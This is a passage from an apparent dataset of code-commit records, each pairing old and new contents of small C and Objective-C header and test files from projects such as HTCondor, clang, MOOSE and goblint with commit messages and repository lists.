<mongo\/client\/dbclient.h>\n\nextern \"C\" {\n\n#define PERL_GCC_BRACE_GROUPS_FORBIDDEN\n\n#include \"EXTERN.h\"\n#include \"perl.h\"\n#include \"XSUB.h\"\n\n#define PERL_MONGO_CALL_BOOT(name)  perl_mongo_call_xs (aTHX_ name, cv, mark)\n\nvoid perl_mongo_call_xs (pTHX_ void (*subaddr) (pTHX_ CV *cv), CV *cv, SV **mark);\nSV *perl_mongo_call_reader (SV *self, const char *reader);\nvoid perl_mongo_attach_ptr_to_instance (SV *self, void *ptr);\nvoid *perl_mongo_get_ptr_from_instance (SV *self);\nSV *perl_mongo_construct_instance (const char *klass, ...);\nSV *perl_mongo_construct_instance_va (const char *klass, va_list ap);\nSV *perl_mongo_construct_instance_with_magic (const char *klass, void *ptr, ...);\nSV *perl_mongo_bson_to_sv (const char *oid_class, mongo::BSONObj obj);\nmongo::BSONObj perl_mongo_sv_to_bson (SV *sv, const char *oid_class);\n\n}\n\n#endif\n","subject":"Stop the headers of debugging perls to generate gcc brace groups.","message":"Stop the headers of debugging perls to generate gcc brace groups.\n\nThose don't work with g++ easily.\n","lang":"C","license":"apache-2.0","repos":"xdg\/mongo-perl-driver,kainwinterheart\/mongo-perl-driver,kainwinterheart\/mongo-perl-driver,rahuldhodapkar\/mongo-perl-driver,kainwinterheart\/mongo-perl-driver,gormanb\/mongo-perl-driver,dagolden\/mongo-perl-driver,gormanb\/mongo-perl-driver,jorol\/mongo-perl-driver,mongodb\/mongo-perl-driver,mongodb\/mongo-perl-driver,gormanb\/mongo-perl-driver,jorol\/mongo-perl-driver,dagolden\/mongo-perl-driver,xdg\/mongo-perl-driver,gormanb\/mongo-perl-driver,dagolden\/mongo-perl-driver,rahuldhodapkar\/mongo-perl-driver,jorol\/mongo-perl-driver,jorol\/mongo-perl-driver,rahuldhodapkar\/mongo-perl-driver,rahuldhodapkar\/mongo-perl-driver,kainwinterheart\/mongo-perl-driver,mongodb\/mongo-perl-driver,xdg\/mongo-perl-driver,dagolden\/mongo-perl-driver"}
{"commit":"0e5ec0300f6b37d9e5126dfc650fe7fcda09b0df","old_file":"common\/i2c_utils.h","new_file":"common\/i2c_utils.h","old_contents":"\/\/ Derived from blog post at http:\/\/www.ermicro.com\/blog\/?p=1239\n\n#ifndef __I2C_UTILS_H__\n#define __I2C_UTILS_H__\n\n#define I2C_MAX_TRIES 50     \/\/ Connection attempts (0 < tries < 255)\n#define I2C_START 0\n#define I2C_DATA 1\n#define I2C_DATA_ACK 2\n#define I2C_STOP 3\n\nvoid i2c_init(void);\nunsigned char i2c_transmit(unsigned char type);\nchar i2c_start(unsigned int dev_id, unsigned int dev_addr, unsigned char rw_type);\nvoid i2c_stop(void);\nchar i2c_write(char data);\nchar i2c_read(char *data, char ack_type);\n\n#endif  \/*__I2C_UTILS_H__*\/\n","new_contents":"\/\/ Derived from blog post at http:\/\/www.ermicro.com\/blog\/?p=1239\n\n#ifndef __I2C_UTILS_H__\n#define __I2C_UTILS_H__\n\n#include <compat\/twi.h>\n\n#define I2C_MAX_TRIES 50     \/\/ Connection attempts (0 < tries < 255)\n#define I2C_START 0\n#define I2C_DATA 1\n#define I2C_DATA_ACK 2\n#define I2C_STOP 3\n#define I2C_SCL 100000L      \/\/ Set I2C clock to 100 kHz \n\nvoid i2c_init(void);\nuint8_t i2c_transmit(uint8_t type);\nchar i2c_start(uint8_t dev_addr, uint8_t rw_type);\nvoid i2c_stop(void);\nchar i2c_write(char data);\nchar i2c_read(char *data, char ack_type);\n\n\/\/ Higher-level convenience functions composed from functions above.\nvoid    i2c_write_byte(uint8_t dev_addr, char data);\nvoid    i2c_write_byte_to_register(uint8_t dev_addr, uint8_t reg, char data);\nuint8_t i2c_read_byte_from_register(uint8_t dev_addr, uint8_t reg_addr);\n\n#endif  \/*__I2C_UTILS_H__*\/\n","subject":"Add high-level write and read functions","message":"Add high-level write and read functions\n","lang":"C","license":"mit","repos":"andrewadare\/avr-breadboarding,andrewadare\/avr-breadboarding"}
{"commit":"950cd3117ba5a838c2ccc29c3deed419f591ec52","old_file":"src\/condor_syscall_lib\/scanner.h","new_file":"src\/condor_syscall_lib\/scanner.h","old_contents":"#define DUMMY\t\t\t0\n#define FUNC\t\t\t1\n#define PARAM\t\t\t2\n#define XFER_FUNC\t\t3\n#define ALLOC_FUNC\t\t4\n#define ACTION_PARAM\t5\n#define NOSUPP_FUNC\t\t6\n\nstruct token {\n\tint\t\ttok_type;\n\tchar\t*val;\n};\n\nstruct node {\n\tint\t\tnode_type;\n\tchar\t*type_name;\n\tchar\t*id;\n\tint\t\tis_ptr;\n\tint\t\tis_const;\n\tint\t\tis_const_ptr;\n\tint\t\tis_mapped;\n\tint\t\tis_array;\n\tint\t\tis_ref;\n\tint\t\tin_param;\n\tint\t\tout_param;\n\tint\t\textract;\n\tstruct node\t*next;\n\tstruct node *prev;\n\tstruct node *param_list;\n\tstruct node *action_func_list;\n};\n\n#define XDR_FUNC id\n\nstruct p_mode {\n\tint\t\tin;\n\tint\t\tout;\n};\n\n\nunion yystype {\n\tstruct\ttoken tok;\n\tstruct\tnode *node;\n\tstruct\tp_mode param_mode;\n\tint\t\tbool;\n};\n#define YYSTYPE union yystype\n","new_contents":"#define DUMMY\t\t\t0\n#define FUNC\t\t\t1\n#define PARAM\t\t\t2\n#define XFER_FUNC\t\t3\n#define ALLOC_FUNC\t\t4\n#define ACTION_PARAM\t5\n#define NOSUPP_FUNC\t\t6\n\n\nstruct token {\n\tint\t\ttok_type;\n\tchar\t*val;\n};\n\nstruct node {\n\tint\t\tnode_type;\n\tchar\t*type_name;\n\tchar\t*id;\n\tint\t\tis_ptr;\n\tint\t\tis_const;\n\tint\t\tis_const_ptr;\n\tint\t\tis_mapped;\n\tint\t\tis_array;\n\tint\t\tis_ref;\n\tint\t\tin_param;\n\tint\t\tout_param;\n\tint\t\textract;\n\tint\t\tpseudo;\n\tstruct node\t*next;\n\tstruct node *prev;\n\tstruct node *param_list;\n\tstruct node *action_func_list;\n};\n\n#define XDR_FUNC id\n\nstruct p_mode {\n\tint\t\tin;\n\tint\t\tout;\n};\n\n\nunion yystype {\n\tstruct\ttoken tok;\n\tstruct\tnode *node;\n\tstruct\tp_mode param_mode;\n\tint\t\tbool;\n};\n#define YYSTYPE union yystype\n","subject":"Add boolean node attirbute \"pseudo\" to describe whether a given system call is a \"normal\" one, or a \"pseudo\" call. This needs to be know by the receivers where normal syscalls can be invoked directly by their name, but pseudo calls must have hand written code to handle their functionality.","message":"Add boolean node attirbute \"pseudo\" to describe whether a given system\ncall is a \"normal\" one, or a \"pseudo\" call.  This needs to be know\nby the receivers where normal syscalls can be invoked directly by their\nname, but pseudo calls must have hand written code to handle their\nfunctionality.\n","lang":"C","license":"apache-2.0","repos":"djw8605\/htcondor,htcondor\/htcondor,clalancette\/condor-dcloud,neurodebian\/htcondor,neurodebian\/htcondor,djw8605\/condor,mambelli\/osg-bosco-marco,neurodebian\/htcondor,neurodebian\/htcondor,bbockelm\/condor-network-accounting,djw8605\/condor,htcondor\/htcondor,djw8605\/htcondor,bbockelm\/condor-network-accounting,djw8605\/condor,htcondor\/htcondor,djw8605\/htcondor,clalancette\/condor-dcloud,clalancette\/condor-dcloud,djw8605\/htcondor,clalancette\/condor-dcloud,neurodebian\/htcondor,djw8605\/condor,djw8605\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,htcondor\/htcondor,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,zhangzhehust\/htcondor,zhangzhehust\/htcondor,djw8605\/condor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,htcondor\/htcondor,djw8605\/condor,neurodebian\/htcondor,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,htcondor\/htcondor,mambelli\/osg-bosco-marco,djw8605\/htcondor,neurodebian\/htcondor,djw8605\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,clalancette\/condor-dcloud,htcondor\/htcondor,bbockelm\/condor-network-accounting,djw8605\/condor,bbockelm\/condor-network-accounting,djw8605\/htcondor,bbockelm\/condor-network-accounting,htcondor\/htcondor,clalancette\/condor-dcloud,djw8605\/condor,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,zhangzhehust\/htcondor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco"}
{"commit":"43c43e4f97d54054fc66c082fd43aef514a68d8e","old_file":"test2\/vla\/standard_nonconst.c","new_file":"test2\/vla\/standard_nonconst.c","old_contents":"\/\/ RUN: %ocheck 1 '-DNULL=(void *)0'\n\/\/ RUN: %ocheck 0 '-DNULL=0'\n\nint null_is_ptr_type()\n{\n\tchar s[1][1+(int)NULL];\n\tint i = 0;\n\tsizeof s[i++];\n\treturn i;\n}\n\nmain()\n{\n\treturn null_is_ptr_type();\n}\n","new_contents":"\/\/ RUN: %ocheck 1 %s '-DNULL=(void *)0'\n\/\/ RUN: %ocheck 0 %s '-DNULL=0'\n\nint null_is_ptr_type()\n{\n\tchar s[1][1+(int)NULL];\n\tint i = 0;\n\tsizeof s[i++];\n\treturn i;\n}\n\nmain()\n{\n\treturn null_is_ptr_type();\n}\n","subject":"Fix standard-nonconst vla test commands","message":"Fix standard-nonconst vla test commands\n","lang":"C","license":"mit","repos":"8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler"}
{"commit":"5cccac451299783f7d54cb7305f34c8966ed0dc3","old_file":"Pod\/Classes\/Internal\/Messages.h","new_file":"Pod\/Classes\/Internal\/Messages.h","old_contents":"\/\/\n\/\/  Messages.h\n\/\/  Pods\n\/\/\n\/\/  Created by Tyler Clemens on 6\/2\/16.\n\/\/\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"STMMessage.h\"\n\n@protocol MessagesDelegate <NSObject>\n\n@optional\n\n- (void)MessagesResults:(NSArray *_Nullable)arrayMessages;\n- (void)UnreadMessageResults:(NSNumber *_Nullable)count;\n\n@end\n\n@interface Messages : NSObject <STMHTTPResponseHandlerDelegate>\n\n+ (void)initAll;\n+ (void)freeAll;\n\n+ (Messages *_Nonnull)controller;\n\n- (void)requestForMessagesWithDelegate:(id<MessagesDelegate> _Nullable)delegate;\n- (void)requestForUnreadMessageCountWithDelegate:(id<MessagesDelegate> _Nullable)delegate;\n- (void)requestForMessage:(NSString * _Nonnull)messageId completionHandler:(void (^_Nullable)(NSError *_Nullable, id _Nullable))completionHandler;\n- (void)cancelAllRequests;\n\n\n@end\n","new_contents":"\/\/\n\/\/  Messages.h\n\/\/  Pods\n\/\/\n\/\/  Created by Tyler Clemens on 6\/2\/16.\n\/\/\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"STMMessage.h\"\n#import \"STMNetworking.h\"\n\n@protocol MessagesDelegate <NSObject>\n\n@optional\n\n- (void)MessagesResults:(NSArray *_Nullable)arrayMessages;\n- (void)UnreadMessageResults:(NSNumber *_Nullable)count;\n\n@end\n\n@interface Messages : NSObject <STMHTTPResponseHandlerDelegate>\n\n+ (void)initAll;\n+ (void)freeAll;\n\n+ (Messages *_Nonnull)controller;\n\n- (void)requestForMessagesWithDelegate:(id<MessagesDelegate> _Nullable)delegate;\n- (void)requestForUnreadMessageCountWithDelegate:(id<MessagesDelegate> _Nullable)delegate;\n- (void)requestForMessage:(NSString * _Nonnull)messageId completionHandler:(void (^_Nullable)(NSError *_Nullable, id _Nullable))completionHandler;\n- (void)cancelAllRequests;\n\n\n@end\n","subject":"Fix a linking issue found by lint","message":"Fix a linking issue found by lint\n","lang":"C","license":"mit","repos":"ShoutToMe\/stm-sdk-ios,ShoutToMe\/stm-sdk-ios"}
{"commit":"a46961b8dfe0a112097299e053c3d0cc5af13ab8","old_file":"test\/Modules\/Inputs\/HasSubModules.framework\/Frameworks\/Sub.framework\/PrivateHeaders\/SubPriv.h","new_file":"test\/Modules\/Inputs\/HasSubModules.framework\/Frameworks\/Sub.framework\/PrivateHeaders\/SubPriv.h","old_contents":"#include <Sub\/Types.h>\n\/\/ Private\n","new_contents":"#include <Sub\/Types.h>\n\/\/ This comment ensures that this file is not identical to\n\/\/ HasSubModules.framework\/Frameworks\/Sub.framework\/Headers\/Sub.h\n","subject":"Change this comment to helpfully explain why it's there.","message":"Change this comment to helpfully explain why it's there.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@175027 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"3e4d6584a8634c839a083b5cd8c51f54dc33112f","old_file":"modules\/thm\/include\/kernels\/OneDMassFlux.h","new_file":"modules\/thm\/include\/kernels\/OneDMassFlux.h","old_contents":"#ifndef ONEDMASSFLUX_H\n#define ONEDMASSFLUX_H\n\n#include \"Kernel.h\"\n\nclass OneDMassFlux;\n\ntemplate<>\nInputParameters validParams<OneDMassFlux>();\n\n\/**\n * Mass flux\n *\/\nclass OneDMassFlux : public Kernel\n{\npublic:\n  OneDMassFlux(const InputParameters & parameters);\n  virtual ~OneDMassFlux();\n\nprotected:\n  virtual Real computeQpResidual();\n  virtual Real computeQpJacobian();\n  virtual Real computeQpOffDiagJacobian(unsigned int jvar);\n\n  VariableValue & _rhouA;\n  unsigned int _rhouA_var_number;\n};\n\n\n#endif \/* ONEDMASSFLUX_H *\/\n","new_contents":"#ifndef ONEDMASSFLUX_H\n#define ONEDMASSFLUX_H\n\n#include \"Kernel.h\"\n\nclass OneDMassFlux;\n\ntemplate<>\nInputParameters validParams<OneDMassFlux>();\n\n\/**\n * Mass flux\n *\/\nclass OneDMassFlux : public Kernel\n{\npublic:\n  OneDMassFlux(const InputParameters & parameters);\n  virtual ~OneDMassFlux();\n\nprotected:\n  virtual Real computeQpResidual();\n  virtual Real computeQpJacobian();\n  virtual Real computeQpOffDiagJacobian(unsigned int jvar);\n\n  const VariableValue & _rhouA;\n  unsigned int _rhouA_var_number;\n};\n\n\n#endif \/* ONEDMASSFLUX_H *\/\n","subject":"Prepare RELAP-7 for MooseVariable::sln() const update.","message":"Prepare RELAP-7 for MooseVariable::sln() const update.\n\nThis set of changes prepares RELAP-7 to work with an upcoming version of\nMOOSE in which MooseVariable::sln() returns a const reference.\n\nRefs idaholab\/moose#6327.\n","lang":"C","license":"lgpl-2.1","repos":"andrsd\/moose,bwspenc\/moose,andrsd\/moose,laagesen\/moose,jessecarterMOOSE\/moose,laagesen\/moose,milljm\/moose,lindsayad\/moose,idaholab\/moose,harterj\/moose,idaholab\/moose,idaholab\/moose,andrsd\/moose,jessecarterMOOSE\/moose,sapitts\/moose,laagesen\/moose,sapitts\/moose,bwspenc\/moose,harterj\/moose,milljm\/moose,bwspenc\/moose,andrsd\/moose,milljm\/moose,jessecarterMOOSE\/moose,dschwen\/moose,lindsayad\/moose,idaholab\/moose,lindsayad\/moose,milljm\/moose,jessecarterMOOSE\/moose,sapitts\/moose,laagesen\/moose,bwspenc\/moose,sapitts\/moose,idaholab\/moose,dschwen\/moose,milljm\/moose,dschwen\/moose,harterj\/moose,bwspenc\/moose,harterj\/moose,lindsayad\/moose,lindsayad\/moose,harterj\/moose,sapitts\/moose,dschwen\/moose,dschwen\/moose,jessecarterMOOSE\/moose,laagesen\/moose,andrsd\/moose"}
{"commit":"bce08b28ad4717b28356cfb98be76a551675d4a4","old_file":"common\/string_tokenizer.h","new_file":"common\/string_tokenizer.h","old_contents":"#include <string>\n\nusing namespace std;\n\n\/* Obtained from http:\/\/oopweb.com\/CPP\/Documents\/CPPHOWTO\/Volume\/C++Programming-HOWTO-7.html *\/\nvoid tokenizeString(const string& str,\n\t\t\t\tvector<string>& tokens,\n\t\t\t\tconst string& delimiters)\n{\n\t\/\/ Skip delimiters at beginning.\n\tstring::size_type lastPos = str.find_first_not_of(delimiters, 0);\n\t\/\/ Find first \"non-delimiter\".\n\tstring::size_type pos     = str.find_first_of(delimiters, lastPos);\n\n\twhile (string::npos != pos || string::npos != lastPos)\n\t{\n\t\t\/\/ Found a token, add it to the vector.\n\t\ttokens.push_back(str.substr(lastPos, pos - lastPos));\n\t\t\/\/ Skip delimiters.  Note the \"not_of\"\n\t\tlastPos = str.find_first_not_of(delimiters, pos);\n\t\t\/\/ Find next \"non-delimiter\"\n\t\tpos = str.find_first_of(delimiters, lastPos);\n\t}\n}\n","new_contents":"#include <string>\n\n\/* Obtained from http:\/\/oopweb.com\/CPP\/Documents\/CPPHOWTO\/Volume\/C++Programming-HOWTO-7.html *\/\nvoid tokenizeString(const std::string& str,\n\t\t\t\tstd::vector<std::string>& tokens,\n\t\t\t\tconst std::string& delimiters)\n{\n\t\/\/ Skip delimiters at beginning.\n\tstd::string::size_type lastPos = str.find_first_not_of(delimiters, 0);\n\t\/\/ Find first \"non-delimiter\".\n\tstd::string::size_type pos     = str.find_first_of(delimiters, lastPos);\n\n\twhile (std::string::npos != pos || std::string::npos != lastPos)\n\t{\n\t\t\/\/ Found a token, add it to the vector.\n\t\ttokens.push_back(str.substr(lastPos, pos - lastPos));\n\t\t\/\/ Skip delimiters.  Note the \"not_of\"\n\t\tlastPos = str.find_first_not_of(delimiters, pos);\n\t\t\/\/ Find next \"non-delimiter\"\n\t\tpos = str.find_first_of(delimiters, lastPos);\n\t}\n}\n","subject":"Remove use of using-directive for std","message":"Common: Remove use of using-directive for std\n","lang":"C","license":"mit","repos":"andresodio\/lager,andresodio\/lager,andresodio\/lager,andresodio\/lager"}
{"commit":"f4e27dcccd8b25f4a95f81102b7db83df350320d","old_file":"tests\/regression\/31-ikind-awars-ints\/05-defexc-large.c","new_file":"tests\/regression\/31-ikind-awars-ints\/05-defexc-large.c","old_contents":"\/\/PARAM: --enable ana.int.interval --disable exp.lower-constants\n#include <assert.h>\n\nint main(){\n    int a = 0;\n\n    \/\/ maximum value for ulonglong\n    unsigned long long x = 18446744073709551615ull;\n    if(x > 18446744073709551612ull){\n        a = 1;\n    }\n    assert(a);\n\n    unsigned long long y = x + 4;\n    \/\/ Unsigned overflow -- The following assertion should succeed\n    assert(y == 3);\n\n    \/\/ maximum value for long long\n    signed long long s = 9223372036854775807;\n    assert(s > 9223372036854775806);\n\n    signed long long t = s + 2;\n    \/\/ Signed overflow -- The following assertion must be UNKNOWN!\n    assert(t == 1); \/\/ UNKNOWN!\n\n    return 0;\n}\n","new_contents":"\/\/PARAM: --disable ana.int.interval\n#include <assert.h>\n\nint main(){\n    int a = 0;\n\n    \/\/ maximum value for ulonglong\n    unsigned long long x = 18446744073709551615ull;\n    if(x > 18446744073709551612ull){\n        a = 1;\n    }\n    assert(a);\n\n    unsigned long long y = x + 4;\n    \/\/ Unsigned overflow -- The following assertion should succeed\n    assert(y == 3);\n\n    \/\/ maximum value for long long\n    signed long long s = 9223372036854775807;\n    assert(s > 9223372036854775806);\n\n    signed long long t = s + 2;\n    \/\/ Signed overflow -- The following assertion must be UNKNOWN!\n    assert(t == 1); \/\/ UNKNOWN!\n\n    return 0;\n}\n","subject":"Test defexc with large integers","message":"Test defexc with large integers\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"aa1ee08cf779b9a07867aa315c766e663bcbc4ed","old_file":"sbabeld.h","new_file":"sbabeld.h","old_contents":"#define BUF_SIZE 4096\n\n#define MAXINTERFACES 10\n#define MAXNEIGHBOURS 20\n\n#define MESSAGE_PAD1 0\n#define MESSAGE_PADN 1\n#define MESSAGE_ACK_REQ 2\n#define MESSAGE_ACK 3\n#define MESSAGE_HELLO 4\n#define MESSAGE_IHU 5\n#define MESSAGE_ROUTER_ID 6\n#define MESSAGE_NH 7\n#define MESSAGE_UPDATE 8\n\n#define MESSAGE_REQUEST 9\n#define MESSAGE_MH_REQUEST 10\n\n#define AE_WILDCARD 0\n#define AE_IPV4 1\n#define AE_IPV6 2\n#define AE_LL 3\n\n#define INFINITY 0xFFFF\n\n","new_contents":"#define BUF_SIZE 4096\n\n#define MAXINTERFACES 5\n#define MAXNEIGHBOURS 10\n\n#define MESSAGE_PAD1 0\n#define MESSAGE_PADN 1\n#define MESSAGE_ACK_REQ 2\n#define MESSAGE_ACK 3\n#define MESSAGE_HELLO 4\n#define MESSAGE_IHU 5\n#define MESSAGE_ROUTER_ID 6\n#define MESSAGE_NH 7\n#define MESSAGE_UPDATE 8\n\n#define MESSAGE_REQUEST 9\n#define MESSAGE_MH_REQUEST 10\n\n#define AE_WILDCARD 0\n#define AE_IPV4 1\n#define AE_IPV6 2\n#define AE_LL 3\n\n#define INFINITY 0xFFFF\n\n","subject":"Reduce size of neighbour and interface table.","message":"Reduce size of neighbour and interface table.\n\nNow that we're able to expire neighbours, we can get away with a smaller table.\n","lang":"C","license":"mit","repos":"jech\/sbabeld"}
{"commit":"939667b6efbc5eb92e80af985727eb2465d19810","old_file":"sipXmediaLib\/src\/mp\/codecs\/plgg726\/plgg726.h","new_file":"sipXmediaLib\/src\/mp\/codecs\/plgg726\/plgg726.h","old_contents":"\/\/  \n\/\/ Copyright (C) 2007 SIPez LLC. \n\/\/ Licensed to SIPfoundry under a Contributor Agreement. \n\/\/\n\/\/ Copyright (C) 2007 SIPfoundry Inc.\n\/\/ Licensed by SIPfoundry under the LGPL license.\n\/\/\n\/\/ $$\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ Author: Sergey Kostanbaev <Sergey DOT Kostanbaev AT sipez DOT com>\n\n#ifndef _plgg726_h_\n#define _plgg726_h_\n\n#include <mp\/codecs\/PlgDefsV1.h>\n\n#include <spandsp\/bitstream.h>\n#include <spandsp\/g726.h>\n\n\nint internal_decode_g726(void* handle, const void* pCodedData, \n                         unsigned cbCodedPacketSize, void* pAudioBuffer, \n                         unsigned cbBufferSize, unsigned *pcbCodedSize, \n                         const struct RtpHeader* pRtpHeader);\n\nint internal_encode_g726(void* handle, const void* pAudioBuffer, \n                         unsigned cbAudioSamples, int* rSamplesConsumed, \n                         void* pCodedData, unsigned cbMaxCodedData, \n                         int* pcbCodedSize, unsigned* pbSendNow);\n\n#endif\n\n\n\n","new_contents":"\/\/  \n\/\/ Copyright (C) 2007 SIPez LLC. \n\/\/ Licensed to SIPfoundry under a Contributor Agreement. \n\/\/\n\/\/ Copyright (C) 2007 SIPfoundry Inc.\n\/\/ Licensed by SIPfoundry under the LGPL license.\n\/\/\n\/\/ $$\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ Author: Sergey Kostanbaev <Sergey DOT Kostanbaev AT sipez DOT com>\n\n#ifndef _plgg726_h_\n#define _plgg726_h_\n\n#include <mp\/codecs\/PlgDefsV1.h>\n\n#include <spandsp\/bitstream.h>\n#include <spandsp\/g726.h>\n\n#ifndef G726_PACKING_NONE\n#define G726_PACKING_NONE 0\n#endif\n\n#ifndef G726_ENCODING_LINEAR\n#define G726_ENCODING_LINEAR\t0\n#endif\n\nint internal_decode_g726(void* handle, const void* pCodedData, \n                         unsigned cbCodedPacketSize, void* pAudioBuffer, \n                         unsigned cbBufferSize, unsigned *pcbCodedSize, \n                         const struct RtpHeader* pRtpHeader);\n\nint internal_encode_g726(void* handle, const void* pAudioBuffer, \n                         unsigned cbAudioSamples, int* rSamplesConsumed, \n                         void* pCodedData, unsigned cbMaxCodedData, \n                         int* pcbCodedSize, unsigned* pbSendNow);\n\n#endif\n\n\n\n","subject":"FIx build of G.726 codec wrapper with older versions of SpanDSP.","message":"FIx build of G.726 codec wrapper with older versions of SpanDSP.\n\n\ngit-svn-id: 5274dacc98e2a95d0b0452670772bfdffe61ca90@10190 a612230a-c5fa-0310-af8b-88eea846685b\n","lang":"C","license":"lgpl-2.1","repos":"sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror"}
{"commit":"a0a8f0bd5ba210c3abcc96e68a5ee16a7cd8fc0f","old_file":"Source\/Factory\/Internal\/TyphoonAssemblyAdviser.h","new_file":"Source\/Factory\/Internal\/TyphoonAssemblyAdviser.h","old_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  TYPHOON FRAMEWORK\n\/\/  Copyright 2013, Typhoon Framework Contributors\n\/\/  All Rights Reserved.\n\/\/\n\/\/  NOTICE: The authors permit you to use, modify, and distribute this file\n\/\/  in accordance with the terms of the license agreement accompanying it.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n#import <Foundation\/Foundation.h>\n#import \"TyphoonMethodSwizzler.h\"\n\n@class TyphoonAssembly;\n\n\n@interface TyphoonAssemblyAdviser : NSObject\n\n+ (BOOL)assemblyClassIsAdvised:(Class)class;\n\n- (id)initWithAssembly:(TyphoonAssembly *)assembly;\n\n- (void)adviseAssembly;\n\n- (NSSet *)definitionSelectors;\n\n- (NSDictionary *)assemblyClassPerDefinitionKey;\n\n@property(readonly, weak) TyphoonAssembly *assembly;\n@property(nonatomic, strong) id <TyphoonMethodSwizzler> swizzler;\n\n@end","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  TYPHOON FRAMEWORK\n\/\/  Copyright 2013, Typhoon Framework Contributors\n\/\/  All Rights Reserved.\n\/\/\n\/\/  NOTICE: The authors permit you to use, modify, and distribute this file\n\/\/  in accordance with the terms of the license agreement accompanying it.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n#import <Foundation\/Foundation.h>\n#import \"TyphoonMethodSwizzler.h\"\n\n@class TyphoonAssembly;\n\n\n@interface TyphoonAssemblyAdviser : NSObject\n\n+ (BOOL)assemblyClassIsAdvised:(Class)klass;\n\n- (id)initWithAssembly:(TyphoonAssembly *)assembly;\n\n- (void)adviseAssembly;\n\n- (NSSet *)definitionSelectors;\n\n- (NSDictionary *)assemblyClassPerDefinitionKey;\n\n@property(readonly, weak) TyphoonAssembly *assembly;\n@property(nonatomic, strong) id <TyphoonMethodSwizzler> swizzler;\n\n@end","subject":"Remove use of reserved keyboard in public header","message":"Remove use of reserved keyboard in public header\n","lang":"C","license":"apache-2.0","repos":"pomozoff\/Typhoon,dmueller39\/Typhoon,nickynick\/Typhoon,dmueller39\/Typhoon,pomozoff\/Typhoon,nickynick\/Typhoon,pomozoff\/Typhoon,dmueller39\/Typhoon,nickynick\/Typhoon,nickynick\/Typhoon,pomozoff\/Typhoon,nickynick\/Typhoon,dmueller39\/Typhoon,pomozoff\/Typhoon,dmueller39\/Typhoon"}
